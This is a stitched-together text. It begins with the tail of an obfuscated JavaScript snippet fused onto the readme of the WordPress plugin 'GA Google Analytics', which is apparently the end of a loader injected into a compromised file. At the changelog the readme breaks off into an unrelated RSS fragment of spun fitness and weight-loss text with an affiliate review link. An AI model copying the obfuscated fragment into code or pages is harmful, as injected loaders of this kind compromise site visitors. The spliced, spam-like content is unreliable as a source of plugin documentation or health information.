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Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};=== GA Google Analytics – Connect Google Analytics to WordPress ===

Plugin Name: GA Google Analytics
Plugin URI: https://perishablepress.com/google-analytics-plugin/
Description: Adds your Google Analytics Tracking Code to your WordPress site.
Tags: analytics, google, google analytics, tracking, statistics
Author: Jeff Starr
Author URI: https://plugin-planet.com/
Donate link: https://monzillamedia.com/donate.html
Contributors: specialk
Requires at least: 4.6
Tested up to: 6.6
Stable tag: 20240820
Version:    20240820
Requires PHP: 5.6.20
Text Domain: ga-google-analytics
Domain Path: /languages
License: GPL v2 or later

Adds Google Analytics 4 tracking code to your WordPress site. Supports many tracking features.



== Description ==

> Connects Google Analytics to WordPress
> Easily add Google Analytics 4 to your web pages

This plugin enables Google Analytics for your entire WordPress site. Lightweight and fast with plenty of great features.


### Enable Google Analytics 4 ###

Steps to enable Google Analytics 4:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"

Save changes and done. Wait 24-48 hours before viewing collected data in your GA account.


### GA Tracking Options ###

Here are the tracking methods available with this plugin:

* [GA4](https://support.google.com/analytics/answer/10089681) / Google Analytics 4 (default)
* [Universal Analytics](https://support.google.com/analytics/answer/11583528) (deprecated)
* Legacy Tracking (deprecated)

__Note:__ GA4 is recommended. Google has deprecated/disabled all other tracking options.


### GA Feature Support ###

* Supports [Google Analytics 4](https://support.google.com/analytics/answer/9304153)
* Supports [Display Advertising](https://support.google.com/analytics/answer/2444872)
* Supports [Enhanced Link Attribution](https://support.google.com/analytics/answer/7377126)
* Supports [IP Anonymization](https://support.google.com/analytics/answer/2763052)
* Supports [Force SSL](https://support.google.com/analytics/answer/6385009)
* Supports [Google Optimize](https://support.google.com/analytics/answer/12979939)
* Supports Tracker Objects (Universal Analytics)
* Supports User Opt-Out (Universal Analytics)

Also supports tracking links and conversions via the Custom Code setting. Learn more about [Google Analytics](https://www.google.com/analytics/).


### Features ###

* Blazing fast performance
* Does one thing and does it well
* Drop-dead simple and easy to use
* Regularly updated and "future proof"
* Stays current with the latest tracking code
* Includes tracking code in header or footer
* Includes tracking code on all WordPress web pages
* Includes option to add your own custom markup
* Sleek plugin Settings page with toggling panels
* Option to disable tracking of admin-level users
* Option to enable page tracking in the Admin Area
* Works with or without Gutenberg Block Editor
* Easy to customize the tracking code
* More features available in the [Pro version&nbsp;&raquo;](https://plugin-planet.com/ga-google-analytics-pro/)

This is a lightweight plugin that inserts the required GA tracking code. To view your site statistics, visit your Google Analytics account.


### Pro Version ###

[GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) includes the same features as the free version, PLUS the following:

* Visitor Opt-Out Box (frontend UI)
* Configure multiple tracking codes
* Live Preview of all tracking codes
* Choose location of multiple tracking codes
* Supports Custom Code in header or footer
* Disable tracking of all logged-in users
* Disable Tracking for any Post IDs, User Roles, Post Types
* Disable Tracking for Search Results and Post Archives
* Display Opt-Out Box automatically or via shortcode
* Complete Inline Help/Documentation
* Priority plugin help and support

Learn more and get [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Privacy ###

__User Data:__ This plugin does not collect any user data. Even so, the tracking code added by this plugin is used by Google to collect all sorts of user data. You can learn more about Google Privacy [here](https://policies.google.com/privacy?hl=en-US).

__Cookies:__ This plugin uses simple cookies for the visitor Opt-Out Box to remember user preference for opt-in or out of Google Analytics.

__Services:__ This plugin does not connect to any third-party locations or services, but it does enable Google to collect all sorts of data.

GA Google Analytics is developed and maintained by [Jeff Starr](https://twitter.com/perishable), 15-year [WordPress developer](https://plugin-planet.com/) and [book author](https://books.perishablepress.com/).


### Support development ###

I develop and maintain this free plugin with love for the WordPress community. To show support, you can [make a donation](https://monzillamedia.com/donate.html) or purchase one of my books: 

* [The Tao of WordPress](https://wp-tao.com/)
* [Digging into WordPress](https://digwp.com/)
* [.htaccess made easy](https://htaccessbook.com/)
* [WordPress Themes In Depth](https://wp-tao.com/wordpress-themes-book/)
* [Wizard's SQL Recipes for WordPress](https://books.perishablepress.com/downloads/wizards-collection-sql-recipes-wordpress/)

And/or purchase one of my premium WordPress plugins:

* [BBQ Pro](https://plugin-planet.com/bbq-pro/) - Super fast WordPress firewall
* [Blackhole Pro](https://plugin-planet.com/blackhole-pro/) - Automatically block bad bots
* [Banhammer Pro](https://plugin-planet.com/banhammer-pro/) - Monitor traffic and ban the bad guys
* [GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) - Connect WordPress to Google Analytics
* [Simple Ajax Chat Pro](https://plugin-planet.com/simple-ajax-chat-pro/) - Unlimited chat rooms
* [USP Pro](https://plugin-planet.com/usp-pro/) - Unlimited front-end forms

Links, tweets and likes also appreciated. Thank you! :)



== Installation ==

### How to install the plugin ###

1. Upload the plugin to your blog and activate
2. Visit the settings to configure your options

After configuring your settings, you can verify that GA tracking code is included by viewing the source code of your web pages.

__Note:__ this plugin adds the required GA code to your web pages. In order for the code to do anything, it must correspond to an active, properly configured Google Analytics account. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).

[More info on installing WP plugins &raquo;](https://wordpress.org/support/article/managing-plugins/#installing-plugins)


### How to use the plugin ###

To enable Google Analytics tracking (GA4) on your site, follow these steps:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA 4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"
5. Configure any other plugin settings as desired (optional)

Save changes and done. After 24-48 hours, you can log into your Google Analytics account and view your site statistics.

__* Notes:__

The "Tracking ID" also may be referred to as "Measurement ID", "Property ID", or "Tag ID".

Also note that it can take 24-48 hours after adding the tracking code before any analytical data appears in your [Google Analytics account](https://developers.google.com/analytics/). To check that the GA tacking code is included properly, examine the source code of your web pages. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).


### Upgrading Analytics ###

Google Analytics tracking methods [change over time](https://onward.justia.com/history-of-google-analytics/). First there was `urchin.js`, then `ga.js`, `analytics.js`, and then `gtag.js`. Now there is the latest and greatest, "GA4" (Google Analytics 4). If you are using an older version (anything other than GA4) and want to upgrade, check out this [upgrade guide](https://support.google.com/analytics/answer/10759417) from Google.


### Plugin Upgrades ###

To upgrade GA Google Analytics, remove the old version and replace with the new version. Or just click "Update" from the Plugins screen and let WordPress do it for you automatically.

__Note:__ uninstalling the plugin from the WP Plugins screen results in the removal of all settings from the WP database. 

For more information, visit the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).


### Restore Default Options ###

To restore default plugin options, either uninstall/reinstall the plugin, or visit the plugin settings &gt; Restore Default Options.


### Uninstalling ###

GA Google Analytics cleans up after itself. All plugin settings will be removed from your database when the plugin is uninstalled via the Plugins screen. Your collected GA data will remain in your Google account.


### Pro Version ###

Want more control over your GA Tracking codes? With awesome features like Opt-Out Box and Code Previews? Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Like the plugin? ###

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!



== Screenshots ==

1. GA Google Analytics: Plugin Settings (default)
2. GA Google Analytics: Plugin Settings (expanded)

More screenshots available at the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).



== Frequently Asked Questions ==


**How to enable Google Analytics 4?**

Check out the top of this page, first section provides the steps to add GA4 to your site.


**I am confused about all the different tracking methods?**

This article should help to get a better idea of the changes: [History of Google Analytics](https://onward.justia.com/history-of-google-analytics/)


**Tracking code is not displayed in source code?**

If you check the source code of your pages and don't see the GA tracking code, check the following:

* Check that your theme includes the hooks, `wp_head` and `wp_footer`
* If you are using a caching plugin, try clearing the cache

If the GA tracking code still is not displayed, most likely there is interference from another plugin or theme. In this case, the best way to resolve the issue is to do some basic [WordPress troubleshooting](https://perishablepress.com/how-to-troubleshoot-wordpress/).


**Google Analytics says tracking code is not detected?**

You need to wait 24-48 hours (or longer) for Google to collect some data. Just takes time for Googlebot to crawl your pages, collect and process data, etc. For more information, check out the [Google Analytics Help Center](https://support.google.com/analytics/).


**Can I filter the output of the "Custom GA Code" setting?**

Yes, you can use the `gap_custom_code` filter hook.


**How to implement Google Optimize?**

Here are the steps:

1. Enable Universal Analytics in the plugin settings
2. Add the Optimize plugin (e.g., `ga('require', 'GTM-XXXXXX');`) to the setting, "Custom GA Code"
3. Add the Page Hiding (flicker) snippet to the setting, "Custom &lt;head&gt; Code"
4. Enable the setting, "Custom &lt;head&gt; Location"

Done! You can view the source code of your web pages to verify the results.

More info about [Google Optimize](https://support.google.com/analytics/answer/12979939).


**How to enable Opt-out of tracking?**

Here are the steps:

1. Add the following code to the plugin setting, "Custom Code": `<script>window['ga-disable-UA-XXXXX-Y'] = true;</script>`
2. Check the box to enable the setting, "Custom Code Location".

Done! You can view the source code of your web pages to verify the results.


**How to disable the "auto" parameter in ga(create)?**

By default the plugin includes the `auto` parameter in the tracking code:

	ga('create', 'GA-123456789000', 'auto');

However some tracking techniques (such as Site Speed Sample Rate) require replacing the `auto` parameter. To do it:

First disable the `auto` parameter by adding the following code to WordPress functions or [custom plugin](https://digwp.com/2022/02/custom-code-wordpress/):

	// GA Google Analytics - Disable auto parameter
	function ga_google_analytics_enable_auto($enable) { return false; }
	add_filter('ga_google_analytics_enable_auto', 'ga_google_analytics_enable_auto');

Now that `auto` is disabled, you can replace it with your own parameter(s). For example, to implement Universal Analytics Site Speed Sample Rate, enter the following code in the plugin setting "Custom Tracker Objects":

	{'siteSpeedSampleRate': 100}

Save changes and done. The resulting tracking code will now look like this:

	ga('create', 'GA-123456789000', {'siteSpeedSampleRate': 100});

So can adjust things as needed to add any parameters that are required.


**How to implement Anonymize?**

1. Add to "Custom Tracker Objects" setting: `{ 'anonymize_ip': true }`
2. Save changes and done.


**Got a question?**

To ask a question, suggest a feature, or provide feedback, [contact me directly](https://plugin-planet.com/support/#contact). Learn more about [Google Analytics](https://www.google.com/analytics/).



== Changelog ==

*Thank you to everyone who shares feedback for GA Google Analytics!*

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!

> New Pro version available! Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


**20240820**

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	<title>6 Best Bland Diet Recipes In 2026 &#8211; pspwptest</title>
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		<title>1 Year Weightlifting: Timeline &#038; Results</title>
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		<dc:creator><![CDATA[admin-pspwptest]]></dc:creator>
		<pubDate>Mon, 09 Mar 2026 07:25:05 +0000</pubDate>
				<category><![CDATA[6 Best Bland Diet Recipes In 2026]]></category>
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					<description><![CDATA[For example, if you start with bench-pressing 50 pounds for 8 reps and progress to 60 pounds for 10 reps after 4 months, this is a clear indicator of muscle growth and strength gains. Focus on compound movements like squats, deadlifts, and presses, as these are foundational for overall strength and muscle development. Finally, consistency [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>For example, if you start with bench-pressing 50 pounds for 8 reps and progress to 60 pounds for 10 reps after 4 months, this is a clear indicator of muscle growth and strength gains. Focus on compound movements like squats, deadlifts, and presses, as these are foundational for overall strength and muscle development. Finally, consistency and individualization are key. While the average woman can gain 2-4 pounds of muscle per month with optimal training and nutrition, results vary based on genetics, age, and training experience. Regularly monitoring progress through body measurements, strength gains, and photos can help adjust the nutrition plan as needed.</p>
<h2>Day Split Workout Program for Muscle Growth (with PDF)</h2>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="4 month weight lifting transformation female" src="https://www.a4fitness.com/wp-content/uploads/2023/10/4b9edb919f0ec4e029a6a056b055daac-300x225.jpg"/></p>
<p>Simply increasing calorie burn through exercise and making healthy food choices can help most people see results. Pregnancy and breastfeeding can also impact hormones and cause weight gain. So, if you’re going through any of these life stages, it’s important to be aware of how they may impact your body transformation.</p>
<h3>The Truth About Oatmeal: Which Oats Are Actually the Healthiest?</h3>
<p>I also wanted to work with a mature woman who could help me navigate making a realistic transformation now that I was in my mid 40’s. Julie credential and background ticked all of the boxes for me. That made a huge difference in the amount of time she was able to spend coaching me. Starting with gastric-sleeve surgery, @gi_sciortino shed 120 pounds and kept it off with intense strength-training and HIIT workouts. @gessisfitnessjourney hit her goal of losing 124 pounds first by trying going vegan, then vegetarian, and low-carb, but she ultimately succeeded by tracking everything—calories, steps—on her Fitbit. @jocelynthrivingfit has lost 166 pounds naturally following a &#8220;calories in, calories out&#8221; style of dieting and regular exercise.</p>
<h2>Lessons I Learned In One Year Of Weight Training</h2>
<p>There&#8217;s probably only 2..maybe 3 at the most who used PED. These are all naturally attainable in the times displayed lol.A lot of you negative posters don&#8217;t get these results all because of the exact mindset you&#8217;s are displaying in your posts haha. This year has given me a sense of empowerment that I didn’t even know I needed and I know I will continue to lift weights for the rest of my life because of it.</p>
<h3>Burn Fat</h3>
<p>Engaging in weight lifting not only builds strength but also boosts metabolism. This combination leads To fat loss while preserving lean muscle mass. Dedicated training programs provide substantial physical changes. These transformations promote confidence &amp; body positivity. Both beginners &amp; experienced lifters see noticeable results in short timeframes. Weight training gained popularity among women during late 20th century.</p>
<h2>Why Musclespan Is The New Metric We Should Focus On</h2>
<p>I really wanted to find a certified body transformation coach that had lots of experience with both nutrition and exercise in addition to a solid background on the competition front. To build muscle mass effectively, focus on progressive overload (gradually increasing weights), targeting different muscle groups, and following a high-protein diet. Consistent, well-rounded workouts that include compound movements (like squats and bench presses) are key for achieving more muscle gains. Setting out on a weight lifting training journey can feel like stepping into a world full of possibilities – and a few unknowns. With enough grit and the right guidance, a year of lifting weights can lead to real transformations, not just in muscle growth but in confidence, body composition, and general well-being. Determine your specific goals for the transformation.</p>
<ul>
<li>Maintaining personal accountability cultivates lasting practices.</li>
<li>For example, before you start weight lifting, you may find you can bench press just a barbell with no plates.</li>
<li>Beginners may see slightly higher gains due to neuromuscular adaptations.</li>
<li>It’s best To consult with a healthcare professional before starting any supplement regimen.</li>
<li>However, both men and women can develop impressive levels of strength and be very flexible with the correct body training.</li>
<li>She never misses a legs day and uses training as a form of therapy.</li>
</ul>
<h3>Technique and Fitness Level</h3>
<p>Her content emphasizes balanced nutrition, hydration tips, and motivational support for weight loss. Yana engages her audience through interactive posts and direct communication, encouraging them to join her programs for lasting lifestyle changes. In summary, hormonal influence is a key determinant of how much muscle a woman can gain in 4 months.</p>
<h3>Body Transformation Coach for Women Before and After Weight Loss Pictures</h3>
<p>Like her, many women have realized the potential of weightlifting and adopted it as a routine. Bikini competitor and fitness expert Marta Mielczarska, NASM, CPT, FNS, shared her booty transformation on Instagram and revealed that in order to put on muscle, you have to eat more. She told POPSUGAR that she was eating 1,800 calories on the photo on the left, but was up to 2,200 calories on the photo on the right. This section will delve into the complex interplay of hormones and metabolism in weight loss.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="4 month weight lifting transformation female" src="http://www.bing.com/sa/simg/facebook_sharing_5.png"/></p>
<p>In fact, research shows that shorter, more intense workouts are more effective for fat loss than longer, moderate-intensity workouts (2). The best way to get ripped in 4 weeks is to follow a consistent workout and diet plan. And while there’s no one-size-fits-all approach, there are certain principles that will help you succeed. Here’s everything you need to know to do a 4-week body transformation. @so_damthicknbad cut out processed foods and did sprinting <a href="https://unimeal-review.com/trustpilot/">unimeal reviews consumer reports</a> workouts and fitness boot camps to lose 85 pounds.</p>
<p>For some people, stress is simply a part of life. Figuring out ways to manage your stress is important. Exercise can be best described or defined as the beautiful movement of the body. The practice of exercise in a person’s life works to promote a sense of well-being and improve health. Participants took a standard self-administered questionnaire to measure their level of physical activity per week. They were categorized based on whether they met the current recommendations on physical activity which was at least 30 minutes a day 5 times per week of moderate-intensity exercise.</p>
<h2>How I Went From Working Out and Not Seeing Results to Finally Achieving My Goals</h2>
<p>We’re real-life people with family, work, school, and other commitments. This benefit has been a big&#8217;un, and both my boyfriend and mum have commented on how different I look. On my last session with Fazakerley, I had my second and final body scan, which showed I&#8217;d gained a small amount of weight through muscle (and lost a little amount of body fat). The numbers weren&#8217;t significant, but there were other monumental changes I&#8217;d noticed. Changes that, in my opinion, hold more weight (see what I did there?).</p>
<h3>Daisy’s Weight Loss Pictures &amp; Story From Weight Lifting Results After 1 Month (Female)</h3>
<p>Yes, I wanted to progress, but I wasn&#8217;t thinking about my weight (or how I looked) on a daily basis. This also allowed me to lose weight in a sustainable way, slowly losing fat and building muscle, rather than quickly dropping 15 pounds of both. You might also be disappointed when you gain the weight back because you&#8217;ve returned to your old eating habits.</p>
<p>Since turning to weightlifting and eating more intuitively, she’s completely transformed both her health and her body. By going keto, then switching to a less restrictive low-carb diet, and lifting weights, @_jerrseyyy lost 80 pounds in 10 months. @vickinosecrets started eating a low-carb, high-protein diet and walking and doing YouTube workouts to lose weight and manage PCOS symptoms.</p>
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